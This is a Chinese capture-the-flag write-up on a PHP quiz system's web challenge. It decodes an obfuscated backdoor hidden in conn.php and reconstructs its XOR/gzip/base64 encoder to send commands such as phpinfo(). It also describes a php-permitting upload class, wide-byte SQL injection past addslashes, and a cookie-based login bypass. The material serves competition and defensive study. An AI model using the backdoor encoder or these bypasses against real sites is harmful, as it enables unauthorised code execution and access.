知识竞赛系统 php,贵州省网络安全知识竞赛团体赛Writeup-phpweb部分

0x01 混淆后门#conn.php

首先还是拖到D盾扫描

b9e3e544a93f15748f404551831b5d36.png

打开conn.php发现底部有那么一串代码:

1d78ed1a039e67c937327d97ec3d761b.png

对这个代码进行分析

首先可以对几个比较简单的变量输出看一下

$s输出内容为create_function

29行可知匿名函数调用了$q中的代码,所以我们打印$q的内容看一下

b81a81d8b72410ce86112a6e90509a7f.png

$q的内容为:

$k="5ac91f7d";$kh="b9615a29bc1d";$kf="24d0b67c2c91";$p="9GmIEgwZ7HiEeclS";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i

代码格式化以后内容如下:

326845f9d4a45758ac513bd4b645db47.png

发现是通过input传入数据,然后需要满足正则且等于才往下执行。

需要了解的几个函数:

ob_start:php 的缓冲输出函数

gzuncompress:解压函数

ob_get_contents:得到缓冲区的数据

x是一个混淆函数,具体如何混淆的可以不去管。

我们只要知道19行他给我们进行了base64deco以及解压缩,那么反过来base64encode以及压缩就好了。

例如我们现在要将phpinfo();加密

逆向出来代码如下:

$k="5ac91f7d";

$kh="b9615a29bc1d";

$kf="24d0b67c2c91";

$p="9GmIEgwZ7HiEeclS";

function x($t,$k){

$c=strlen($k);

$l=strlen($t);

$o="";

for($i=0;$i

for($j=0;($j

$o.=$t{$i}^$k{$j};

}

}return $o;

}

$r=@base64_encode(@x(@gzcompress('phpinfo();'),$k));

echo $r;

31ca7bd616bc8c206ef6c0c41531a803.png

得到字符串:Tf1I8Rmu+y/+trONN2YioDbg

最后与$kh、$kf拼接

得到b9615a29bc1dTf1I8Rmu+y/+trONN2YioDbg24d0b67c2c91

以此发送post数据包。

ae7f556a3fb5cbf92a573f7571963e77.png

0x03 后台上传后门#up.class.php

31e64b60c3101d57d91202c14fe9cdda.png

9df18057441dfd707bf697df8c850ef7.png

第七行代码可见php也在其上传列表内;

然后看看那里调用了这个类

0d0b7711cf85b765d2421dfb32d59987.png

根据目录来看基本都是后台

复现了一下环境:

a69f794b4afd64912c8f9362e3694230.png

发现上传功能是坏的,所以上传功能应该是不行的。只能通过ueditor的那个编辑器上传,所以这个点只能说是作废;

0x03 SQL注入#conntent.php

daa619fca50a749ec32ee5967a90dc19.png

addslashes函数是可被绕过的,如果当时比赛环境使用的是gbk编码的话是可以通过宽字节注入bypass的,他程序几乎都是使用这个函数的,所以直接搜素addslashes就几乎都是sql注入;

注入点非常多,我就不一一写出来了,因为这个程序源码挺大的;

0x04 权限绕过#checklogin.php

27e2257b18f1ff69e8012060ffb8ce1a.png

他这个check也是写的有点搞笑。

判断$_COOKIE是否为空

所以只要请求user字段不为空就OK了(x-forwarded-for是我平时就喜欢加的,可忽略)

642aa63e385475f5445abf5f403181eb.png

#php web的基本就是如上漏洞,难点应该就是最初的那个PHP混淆吧,如果要修复直接删除那段木马即可,据我所知,是能够登陆就可以拿到一个flag。自动化的话也是非常简单,写一个脚本requests的cookie字段填写user=1然后正则提取flag输出到txt,结合burpsuite自动提交flag。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值